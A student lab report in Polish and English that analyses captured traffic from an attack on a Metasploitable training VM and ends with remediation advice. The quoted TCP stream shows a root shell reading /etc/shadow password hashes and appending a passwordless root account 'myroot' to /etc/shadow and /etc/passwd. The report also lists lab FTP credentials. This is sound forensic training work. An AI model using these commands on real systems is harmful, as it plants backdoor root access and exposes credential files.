

Mateusz Łąpieś ([mateusz.lapies@student.pk.edu.pl](mailto:mateusz.lapies@student.pk.edu.pl))

## Sprawozdanie – lab2

### 1. What kind of transactions occurred between the client and the server in this attack?

```
SRC: id
SRC:
DST: uid=0(root) gid=0(root)
DST:
SRC: nohup >/dev/null 2>&1
SRC:
SRC: echo uKgoT8McFDrCw7u2
SRC:
DST: uKgoT8McFDrCw7u2
DST:
SRC: whoami
SRC:
DST: root
DST:
SRC: hostname
SRC:
DST: metasploitable
DST:
SRC: ifconfig
SRC:
DST: eth0      Link encap:Ethernet  HWaddr 08:00:27:ab:84:07
DST:          inet addr:209.165.200.235  Bcast:209.165.200.255  Mask:255.255.255.224
DST:          inet6 addr: fe80::a00:27ff:feab:8407/64 Scope:Link
DST:          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
DST:          RX packets:117 errors:0 dropped:0 overruns:0 frame:0
DST:          TX packets:167 errors:0 dropped:0 overruns:0 carrier:0
DST:          collisions:0 txqueuelen:1000
DST:          RX bytes:10294 (10.0 KB)  TX bytes:20187 (19.7 KB)
DST:          Interrupt:17 Base address:0x2000
DST:
```

```

DST:      Interrupt:17 Base address:0x2000
DST:
DST: lo      Link encap:Local Loopback
DST:      inet addr:127.0.0.1 Mask:255.0.0.0
DST:      inet6 addr: ::1/128 Scope:Host
DST:      UP LOOPBACK RUNNING MTU:16436 Metric:1
DST:      RX packets:512 errors:0 dropped:0 overruns:0 frame:0
DST:      TX packets:512 errors:0 dropped:0 overruns:0 carrier:0
DST:      collisions:0 txqueuelen:0
DST:      RX bytes:225633 (220.3 KB) TX bytes:225633 (220.3 KB)
DST:
DST:
SRC: cat /etc/shadow
SRC:
DST: root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
DST: daemon:*:14684:0:99999:7:::
DST: bin:*:14684:0:99999:7:::
DST: sys:$1$fUX6BPot$MiyC3UpOzQJqz4s5wFD9l0:14742:0:99999:7:::
DST: sync:*:14684:0:99999:7:::
DST: games:*:14684:0:99999:7:::
DST: man:*:14684:0:99999:7:::
DST: lp:*:14684:0:99999:7:::
DST: mail:*:14684:0:99999:7:::
DST: news:*:14684:0:99999:7:::
DST: uucp:*:14684:0:99999:7:::
DST: proxy:*:14684:0:99999:7:::
DST: www-data:*:14684:0:99999:7:::
DST: backup:*:14684:0:99999:7:::
DST: list:*:14684:0:99999:7:::
DST: irc:*:14684:0:99999:7:::
DST: irc:*:14684:0:99999:7:::
DST: gnats:*:14684:0:99999:7:::
DST: nobody:*:14684:0:99999:7:::
DST: libuuid:!:14684:0:99999:7:::
DST: dhcp:*:14684:0:99999:7:::
DST: syslog:*:14684:0:99999:7:::
DST: klog:$1$f2ZVMS4K$R9Xkl.CmLdHhdUE3X9jqP0:14742:0:99999:7:::
DST: sshd:*:14684:0:99999:7:::
DST: msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::
DST: bind:*:14685:0:99999:7:::
DST: postfix:*:14685:0:99999:7:::
DST: ftp:*:14685:0:99999:7:::
DST: postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:14685:0:99999:7:::
DST: mysql:!:14685:0:99999:7:::
DST: tomcat55:*:14691:0:99999:7:::
DST: distccd:*:14698:0:99999:7:::
DST: user:$1$HEsu9xrH$K.o3G93DGoXliQKkPmUgZ0:14699:0:99999:7:::
DST: service:$1$KR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:14715:0:99999:7:::
DST: telnetd:*:14715:0:99999:7:::
DST: proftpd:!:14727:0:99999:7:::
DST: statd:*:15474:0:99999:7:::
DST: analyst:$1$uvEqE7eT$x6gczc318aD6mhxOFZqXE.:17338:0:99999:7:::
DST:
SRC: echo "myroot::14747:0:99999:7:::" >> /etc/shadow
SRC:
SRC: grep root /etc/shadow
SRC:
DST: root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
DST: myroot::14747:0:99999:7:::
DST:
--

```

```

DST: myroot:x:0:0:root:/root:/bin/bash
DST:
SRC: cat /etc/passwd
SRC:
DST: root:x:0:0:root:/root:/bin/bash
DST: daemon:x:1:1:daemon:/usr/sbin:/bin/sh
DST: bin:x:2:2:bin:/bin:/bin/sh
DST: sys:x:3:3:sys:/dev:/bin/sh
DST: sync:x:4:65534:sync:/bin:/bin/sync
DST: games:x:5:60:games:/usr/games:/bin/sh
DST: man:x:6:12:man:/var/cache/man:/bin/sh
DST: lp:x:7:7:lp:/var/spool/lpd:/bin/sh
DST: mail:x:8:8:mail:/var/mail:/bin/sh
DST: news:x:9:9:news:/var/spool/news:/bin/sh
DST: uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
DST: proxy:x:13:13:proxy:/bin:/bin/sh
DST: www-data:x:33:33:www-data:/var/www:/bin/sh
DST: backup:x:34:34:backup:/var/backups:/bin/sh
DST: list:x:38:38:Mailing List Manager:/var/list:/bin/sh
DST: irc:x:39:39:ircd:/var/run/ircd:/bin/sh
DST: gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
DST: nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
DST: libuuid:x:100:101::/var/lib/libuuid:/bin/sh
DST: dhcp:x:101:102::/nonexistent:/bin/false
DST: syslog:x:102:103::/home/syslog:/bin/false
DST: klog:x:103:104::/home/klog:/bin/false
DST: sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
DST: msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
DST: bind:x:105:113::/var/cache/bind:/bin/false
DST: postfix:x:106:115::/var/spool/postfix:/bin/false
DST: ftp:x:107:65534::/home/ftp:/bin/false
DST: postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
DST: mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
DST: tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
DST: distccd:x:111:65534::/bin/false
DST: user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
DST: service:x:1002:1002,,,:/home/service:/bin/bash
DST: te
DST: inetd:x:112:120::/nonexistent:/bin/false
DST: proftpd:x:113:65534::/var/run/proftpd:/bin/false
DST: statd:x:114:65534::/var/lib/nfs:/bin/false
DST: analyst:x:1003:1003:Security Analyst,,,:/home/analyst:/bin/bash
DST:
SRC: cat /etc/passwd | grep root
SRC:
DST: root:x:0:0:root:/root:/bin/bash
DST:
SRC: echo "myroot:x:0:0:root:/root:/bin/bash" >> /etc/passwd
SRC:
SRC: grep root /etc/passwd
SRC:
DST: root:x:0:0:root:/root:/bin/bash
DST: myroot:x:0:0:root:/root:/bin/bash
DST:
SRC: exit
SRC:

```

**2. What did you observe? What do the text colors red and blue indicate?**

Można zaobserwować te same komendy, które były widoczne w Transkrypcie, kolor czerwony reprezentuje atakującego, niebieskie serwer.

**The attacker issues the whoami command on the target. What does this show about the attacker role on the target computer?**

Odpowiedź potwierdza, że atakujący otrzymał rolę roota (administratora).

**Scroll through the TCP stream. What kind of data has the threat actor been reading?**

nazwa hosta

interfejsy sieciowe

użytkownicy i uprawnienia

**3. What are the source and destination IP addresses and port numbers for the FTP traffic?**

Source: 192.168.0.11 Destination: 209.165.200.235 Port: 52776/21

**What are the user credentials to access the FTP site?**

User: analyst

Pass: cyberops

**What are the different types of files? Look at the MIME Type section of the screen.**

Dla 11.06.2020 był to jeden plik o typie text/plain.

**What is the MIME type, source and destination IP address associated with the transfer of the FTP data? When did this transfer occur?**

Type: text/plain, Source: 192.168.0.11, Destination: 209.165.200.235.

June 11th 2020, 03:53:09.088

**What is the text content of the file that was transferred using FTP?**

SRC: CONFIDENTIAL DOCUMENT

SRC: DO NOT SHARE

SRC: This document contains information about the last security breach.

SRC:

**With all the information has gathered so far, what is your recommendation for stopping further unauthorized access?**

Należy ograniczyć dostęp dla Destination IP do sieci / maszyny. Ograniczyć dostęp użytkowników do FTP. Zabezpieczyć połączenie przechodząc z FTP na FTPs.